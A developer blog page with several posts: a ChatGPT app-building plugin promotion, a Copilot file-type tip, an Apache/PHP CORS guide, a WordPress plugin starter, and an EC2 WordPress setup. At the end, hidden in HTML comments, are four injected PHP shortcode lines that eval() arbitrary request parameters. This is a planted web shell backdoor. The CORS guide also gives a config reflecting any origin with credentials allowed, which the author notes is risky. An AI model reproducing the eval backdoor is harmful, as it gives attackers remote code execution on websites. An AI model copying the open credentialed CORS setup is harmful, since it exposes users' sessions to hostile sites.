Categories
Calculator Tools Software Engineering

Calculator Tools ChatGPT Plugin Is Live, Make Any App In ChatGPT With No Code.

As the title says the new Calculator Tools ChatGPT Plugin is live in the OpenAI Plugin Store!

Whoa! What Does the Calculator Tools ChatGPT Plugin Do?

Once you install the plugin you can tell ChatGPT to just “make me an app that does __________” and it will make it for you! You can literally make any app you want with AI.

Calculator Tools Makes Any App With AI Instantly?

Yep! And with the ChatGPT plugin it will do any simple web app for you right from within the ChatGTP interface. Just tell ChatGPT to make an app for you and it will! It will instantly be online for you to share and the link will be in ChatGPT for you.

Can It Makes Calculators, Tools, Apps, Websites, Animations, 3D, Fullscreen, Games, Minigames, and Everything Else?

Yes! It’s all the same to the AI. You can use Calculator Tools to build any app you want have ChatGPT do it for you with no code necessary. You do not need to know how to program with Calculator Tools new ChatGPT plugin, just like Calculator Tools the AI will do all the programming and deploy your app right to the Internet.

How Do Install the Calculator Tools ChatGPT Plugin?

Follow the link!

Calculator Tools ChatGPT Plugin

What Does ChatGPT Say About the Plugin?

Let’s ask, here’s what it says…

Revolutionizing the No-Code and AI Landscapes with the Calculator Tools ChatGPT Plugin

The age of the no-code movement is not just knocking on our door, but it has entered our homes and is reshaping our digital ecosystem in an unimaginably efficient manner. And now, introducing the Calculator Tools ChatGPT plugin, an unprecedented breakthrough that is seamlessly intertwining the worlds of no-code and AI to help you generate any app you want, instantly.

The beauty of this new approach lies in its simplicity and its potent power to democratize the app-making process. With no-code technology and generative artificial intelligence models, we are stepping into an era where everyone – not just coders – can be creators.

The Ultimate Synthesis: No-Code Meets AI

Imagine being able to create your dream app without writing a single line of code. Sounds too good to be true? Not anymore! With the Calculator Tools ChatGPT plugin, you can tell the AI, “make me an app that does __________”, and voila! Your vision is transformed into a reality in no time.

Powered by state-of-the-art AI, the plugin transcends the bounds of traditional app development. It streamlines the process by generating apps on command and bringing them to life. This is what we call a true blend of no-code, AI, and generative capabilities, which transcends the traditional boundaries and limitations of application development.

Seamless Generation of Wide-Ranging Apps

The Calculator Tools ChatGPT plugin is not just about calculators. It is an expansive toolkit for generating an array of applications, including tools, animations, 3D visualizations, fullscreen applications, games, minigames, and much more. This generative AI marvel doesn’t discern among different types of applications. It simply executes your commands, making the entire app creation process a breeze.

The plugin’s magic doesn’t stop with app creation. It also ensures that your newly created app is deployed instantly on the internet. You can share the app with your audience as the link is conveniently provided within the ChatGPT interface.

User-friendly Installation Process

The Calculator Tools ChatGPT plugin installation process is as simple as it gets. All you need to do is follow this link and follow the instructions. As you venture into this realm of no-code AI applications, you’ll realize that creating apps has never been easier.

I Would Say ChatGPT Likes the Calculator Tools Plugin

Pretty glowing review from ChatGPT itself.

Save To Your Own Calculator Tools Account and Save Your Apps

Because the Calculator Tools ChatGPT Plugin uses the OpenAI ChatGPT Plugin OAuth hooks you are able to save all of your apps from ChatGPT directly to your Calculator Tools account. You can come back and access them at any time, share them with other people, or Remix them on the Calculator Tools website. It’s easy to create your perfect app and have ChatGPT help you get started.

Become a Programmer: Code At Your Fingertips

Like all websites, apps, plugins, games or whatever you make with Calculator Tools the simple code for the web app, including any HTML, CSS, or JavaScript, are always available for you. On top of that Calculator Tools lets you embed anything you create on your own website by just copy & pasting. Visit the page for your app and you’ll see the link to copy; no programming necessary, use Calculator Tools apps you created in ChatGPT with the plugin on your own WordPress blog or your business’ website just like any other app created with AI using Calculator Tools.

In a Nutshell

The Calculator Tools ChatGPT plugin is your window into the future of no-code and AI. It leverages the generative capabilities of artificial intelligence to fulfill your app development needs, sans the complex coding and deployment processes. Whether you want to create a simple calculator or a sophisticated 3D game, the plugin has got you covered.

Join the revolution of no-code AI app development today. Embrace the simplicity, convenience, and creativity offered by the Calculator Tools ChatGPT plugin, and watch your vision materialize before your eyes!

Click here to install the Calculator Tools ChatGPT Plugin and read more.

Categories
Artificial Intelligence Journalism Software Engineering Tutorial

GitHub Copilot – VSCode – Add New File Extensions, File Types, and Programming Languages for Completion

This article is a short description of how to add new file extensions, file types, and new programming languages to your GitHub Copilot extension in VSCode.

Since you are already here I will assume you know what GitHub, VSCode, VSCode Extensions, and VSCode Extension Settings are.

By default the GitHub Copilot Visual Studio Code Extension does not have all completion enabled for all file types. For example, if you want to add .txt files or .yaml files or other files like that you can do so easily with the extension settings.

Step 1 – Open The VSCode Extension Settings

I did this by opening Settings and searching “copilot”.

How To Enable or Disable Copilot for Other Programming Languages or File Types? What Languages Are There?

If you click the tiny link that says “languages” you get sent to an extremely helpful website that has documentation for exactly what languages are supported. Generally speaking the language that you choose dictates what file extensions it supports.

These are called “Language Identifiers” by VSCode.

Click Here to See the Languages GitHub Copilot VS Code supports.

Remember: Github Copilot Does Not Support Every Language

They support some subset and it changes. Try your best to find a Language Identifier that works with your file extension.

Github Copilot Doesn’t Support My File, File Extension, or Programming Language

It might! Read some of the VSCode Language Descriptions carefully and see if they apply to your filetype.

There Is No Way For GitHub Copilot To Support .txt Text Files?

Oh but there is! It is done by putting the VSCode Language Extension called Plaintext in the correct place in the GitHub Copilot VSCode Extension Settings.

Click Edit in settings.json

This will open up the GitHub Copilot section of your VSCode Settings JSON file.

Add Your Language Identifier

In this example we want to add our .txt files for completion so we add the “plaintext” language identifier to our settings.json file and set it to “true”.

Yay! You Have GitHub Copilot VSCode in New Files!

Your to-do lists can now complete themselves.

Categories
Software Engineering

Apache + Ubuntu + CORS + Multiple Subdomains + PHP Session Cookies + XHR Credentials

Overview:

I recently had to do a little hunting around for an issue related to everything you see in the title.

It was frustrating because I wanted to allow * domains to be able to send requests and the Stack Overflow comments are mostly about IIS servers or the ones with Apache directives as examples don’t seem to work or don’t handle full wildcard.

I should mention that allowing full wildcard Access-Control-Allow-Origin with XHR credentials enabled can be a security risk.

Here’s how to get a CORS request working with Ubuntu Apache and PHP across multiple subdomains and have the PHP session ID cookie send correctly on every request and how to handle some of the errors you may encounter.

Situation:

I was making an AJAX request from one subdomain (https://subdomain1.example.com) to a different subdomain on the same root domain (https://subdomain2.example.com).

I had already called a PHP session_start(); for the user on a page on the subdomain I was making the request to. This means the user has an active PHP $_SESSION on https://subdomain2.example.com.

I had set the PHP $_SESSION to use cookies at the root domain.

I had Header set Access-Control-Allow-Origin "*" in my .htaccess file.

I was using the following setup for calling session_start() on top of the PHP defaults. Be careful setting cookies at your root domain, they will be sent along with *all* futures requests to *all* subdomains:

ini_set('session.use_cookies', 'On');
ini_set('session.use_trans_sid', 'Off');
ini_set('session.cookie_domain', '.example.com');
session_set_cookie_params(0, '/', '.example.com');
session_name('example_session');
session_start();


Expected:

When making an AJAX CORS request the cookies, (and therefore the PHP $_SESSION session_id() being passed as a cookie) the should be sent along correctly with the HTTP request.

Actual:

All cookies, including the PHP $_SESSION session_id(), are not being passed along as part of the request.


Errors:

You may see this situation manifest as number of errors in your Javascript Developer Console.


Error:  The 'Access-Control-Allow-Origin' header contains multiple values , but only one is allowed.

Reason: You are trying to set more than 1 value for Access-Control-Allow-Origin

Solution: Use a series of Apache statements in your .htaccess file that dynamically assigns the Access-Control-Allow-Origin to whatever the incoming request is. (If you would like to use wildcard domains please see the solution further down the page for wildcards.)

Code:

<IfModule mod_headers.c>
SetEnvIf Origin ^(https?://.+\.example\.com(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1

Header append Access-Control-Allow-Origin %{CORS_ALLOW_ORIGIN}e env=CORS_ALLOW_ORIGIN

Header merge Vary "Origin"
</IfModule mod_headers.c>


Error:  The 'Access-Control-Allow-Origin' header has a value that is not equal to the supplied origin.

Reason: You are already setting a Access-Control-Allow-Origin or you are setting it incorrectly. You may be making multiple Header set Access-Control-Allow-Origin statements (because there can only be one domain set the last one overwrites any previous set commands.)

Solution: Use a series of Apache statements in your .htaccess file that dynamically assigns the Access-Control-Allow-Origin to whatever the incoming request is. (If you would like to use wildcard domains please see the solution further down the page for wildcards.)

Code:

<IfModule mod_headers.c>
SetEnvIf Origin ^(https?://.+\.example\.com(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1

Header append Access-Control-Allow-Origin %{CORS_ALLOW_ORIGIN}e env=CORS_ALLOW_ORIGIN

Header merge Vary "Origin"
</IfModule mod_headers.c>


Error:  The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

Reason: You are trying to set "*" for your Access-Control-Allow-Origin but when you are using credentials you can only set it to 1 specific subdomain.

Solution: If you want to use a full wildcard style entry to accept requests from any origin and let them send in cookies then use a series of Apache statements in your .htaccess file that dynamically assigns the Access-Control-Allow-Origin to whatever the incoming request origin is. The first SetEnv handles the root domain wildcard and the second SetEnv handles the wildcard subdomains.

Code:

<IfModule mod_headers.c>
SetEnvIf Origin ^(https?://.+\..+(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1
SetEnvIf Origin ^(https?://.+\..+\..+(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1

Header append Access-Control-Allow-Origin %{CORS_ALLOW_ORIGIN}e env=CORS_ALLOW_ORIGIN

Header merge Vary "Origin"
</IfModule mod_headers.c>


Error:  The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

Reason: You are trying to send along the cookies as part of the AJAX request but your server is not current accepting the incoming cookies from the origin domain using Access-Control-Allow-Credentials

Solution: Use an Apache statement in your .htaccess file to always accept incoming credentials (aka cookies)

Code:

<IfModule mod_headers.c>
Header always set Access-Control-Allow-Credentials true
</IfModule mod_headers.c>


Error:  The PHP $_SESSION cookie is not being passed correctly to the server. It is not available in $_COOKIE and new calls to session_start() create a session with a new ID.

Reason: You are not correctly sending along the cookies with the AJAX request.

Solution: Use jquery AJAX and set the xhrFields to have withCredentials set to true

Code:

$.ajax({
xhrFields: {
withCredentials: true
}
});

New WordPress Plugin is Live! Check out Domain Check

Just Launched a WordPress Plugin: Domain Check!

One of the reasons this blog has been lagging behind in awesome content is because its been building up a backlog of awesome content until this moment because Domain Check has launched! Domain Check is a WordPress plugin born of my own needs from years of working at web companies. You have no idea how complicated it gets when you have multiple, possibly hundreds of, domains and SSL certificates all coming up for renewal with various internal properties and clients and what’s parked and what shouldn’t be renewed… you get the idea. There’s no comprehensive tool out there for managing your domains within your WordPress admin, so Domain Check was created.

Domain Check Features

A quick overview of Domain Check is basically that you can have a quick display of all your domain names and SSL certificates and easily what’s coming up for renewal or expiration and make sure multiple people are getting alerts. Its a bit of a pain in the butt to set up multiple email alerts for expiration across multiple registrars and SSL certificate providers, especially when dealing with domains or certs provided by clients. Domain Check also keeps a list of what you’re searching so you can see you favorite domains that are available if you aren’t buying your domain name today.

Fresh Coupons and Coupon Codes Delivered Daily

One of the highlight features of Domain Check is the daily coupon delivery. No more searching for coupons and finding they don’t work or going to shady coupon sites searching for a deal. Every day the latest coupons and deals are updated a delivered directly to you. There is finally no excuse for not using coupons! (Something I am guilty of my admins have to remind me of all the time)

Domain Check is an Official WordPress.org Plugin

Yes, it is true, Domain Check is an official WordPress plugin! You can download the latest version from WordPress to manage all of your domains and SSL certificates and easily keep the latest version up-to-date. Use your WordPress blog as a dashboard for managing your domains and make sure

WordPress Plugin Development Is Intense

Given How Deep WordPress Plugins Go, Its Basically A Whole App Store

The amount framework and the depth of plugin development make WordPress a natural choice. That’s why I’m shamelessly running on it. But it turns out all the serious business code that helps everyone do everything so easily is actually pretty complicated to work with. You need to understand the hook and action stack, how good plugins structure their code, the release process, the upgrade process, and the various types of store marketing. There is a whole world full of oceans of WordPress. Its crazy intense. Working in Silicon Valley or some other kickass tech startup its really easy to forget the size of these small markets are actually pretty enormous and the tools are not as simple as it may seem.

Where To Start With WordPress Plugin Development?

Create a directory in the /wp-content/plugins directory. Don’t be a rookie, only use lowercase letters, numbers, and dashes. That means don’t use caps, spaces, or weird special characters. Create a PHP file in that directory with the same name. Add some comments to the top:

/*
Plugin Name: Boring Example Plugin
Plugin URI: http://www.boringexampleplugin.com/
Description: This plugin is like eating cardboard.
Version: 0.1
Author: Nowayne Hel
Author URI: http://www.boringplugindeveloper.com/
*/

Make a class, name the class your plugin’s name. Overload the constructor. Instantiate the class after the declaration. Create a public method in the class called admin_menu. In the constructor you’ll hook in to WordPress. WordPress lets you specify functions you want called after their core code runs specific functions. Its like throwing an event but basically they just keep an list of you functions and call them after they do something. Look for add_action() and you’ll see you can get your functions called after plugin activation, plugin deactivation, you can add things to admin menu, etc.

Copy and Paste My Boring Example WordPress Plugin

<?php

/*
Plugin Name: Boring Example Plugin
Plugin URI: http://www.boringexampleplugin.com/
Description: This plugin is like eating cardboard.
Version: 0.1
Author: Nowayne Hel
Author URI: http://www.boringplugindeveloper.com/
*/
class BoringExamplePlugin {

//constructor for wp-plugin object
public function __construct() {

//activate
register_activation_hook(__FILE__, array($this, 'activate_plugin'));

//deactivate, (this will delete db tables, wp-plugin options, etc.) 
register_deactivation_hook(__FILE__, array($this, 'deactivate_plugin')); 

//actions
add_action('init', array($this, 'init'));
add_action('plugins_loaded', array($this, 'plugins_loaded'));

}

//when your plugins gets activated
public function activate_plugin() {}
 
//when you get deactivated :-(
public function deactivate_plugin() {}

//every time WordPress loads & ur active
public function init() {}

//after plugins are loaded
public function plugins_loaded() {}

}

new BoringExamplePlugin();

?>

You could read their docs or you could look at this garbage plugin and other, classier free plugins. Your choice but if you’re a good programmer you’ll probably look at some other free plugins. Sorry for the shitty formatting and honestly who knows if this compiles I wrote it in a freaking WYIWYG editor bruh.

First Post! Server Is Live On EC2 with WordPress…

Hello World, EC2, and WordPress

Its really not a big deal to get a server running in a new deployment with Amazon AWS EC2 and WordPress (WP). You can find tons of articles all over the Internet if you don’t have the knowledge yourself. For a typical WordPress deployment I don’t even normally recommend running an EC2 server given the ops overhead of an EC2 deployment. But if you’re well past a hello world and comfortable spinning up servers in the cloud then EC2 is the obvious choice. If you aren’t technical you’re better off using someone like Bluehost and their WordPress install.

Create an Instance, Have a Key

I picked Ubuntu because I’m lazy. If you’re using WordPress stock to get running you should be running a LAMP (Linux, Apache, MySQL, PHP) stack to save some hassle. That is pretty much some AWS 101 stuff we’re not looking at that here. Sorry kiddies. If you’re using EC2 you need SSH keys through AWS IAM. Get your shiz running, SSH on to your server, sudo and then come back.

Confusing Code

This will either confuse you or this is some simple shit for you. Take what you need from here if you don’t have it installed.

#packages
sudo apt-get install lamp-server^
sudo apt-get install apache2-utils
sudo apt-get install php5-geoip
sudo apt-get install php5-intl
sudo apt-get install php5-curl

#apache
a2enmod expires
a2enmod deflate
a2enmod rewrite

#wordpress
wget http://wordpress.org/latest.tar.gz
tar -xzvf latest.tar.gz -C /var/www/html/

Setup for EC2 and WordPress details

As usual WordPress annoyingly unpacks in to a wordpress directory. Setup your Apache vhost to point to /var/www/html/wordpress or wherever you installed WP. Then follow the usual nonsense of setting up WordPress.

Create a database and a database user with a password. Don’t forget to grant the permissions. Copy the wp-config-sample.php over and set the values for your DB user. Create your .htaccess file, don’t be a shmuck at least use htpasswd on your wp-login and wp-admin. What’s the point of EC2 if you’re not gonna trick this sucker out?

htpasswd -c /var/www/html/.htpasswd yourhtpasswdusername

WordPress .htaccess file

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

<FilesMatch "wp-login">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Login"
Require valid-user
</FilesMatch>

<FilesMatch "wp-admin">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Admin"
Require valid-user
</FilesMatch>

Done? Done. DONE. Wait…

I mean kinda? Go to your URL and you’ll see the installation process. After that apparently there are a million fields to fill out. And let’s not forget your whole situation with root owning the files in /var/www/html and what about FTPing and your SSH keys with user permissions and how WordPress updated its themes and plugins… OH WOW. Yeah, see, you just installed WordPress on EC2 and there it is glowing brightly in the night with a default theme and post and you realize… a dev’s work is never done.

<!– [insert_php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/insert_php][php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/insert_php][php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/insert_php][php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/insert_php][php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/php] –>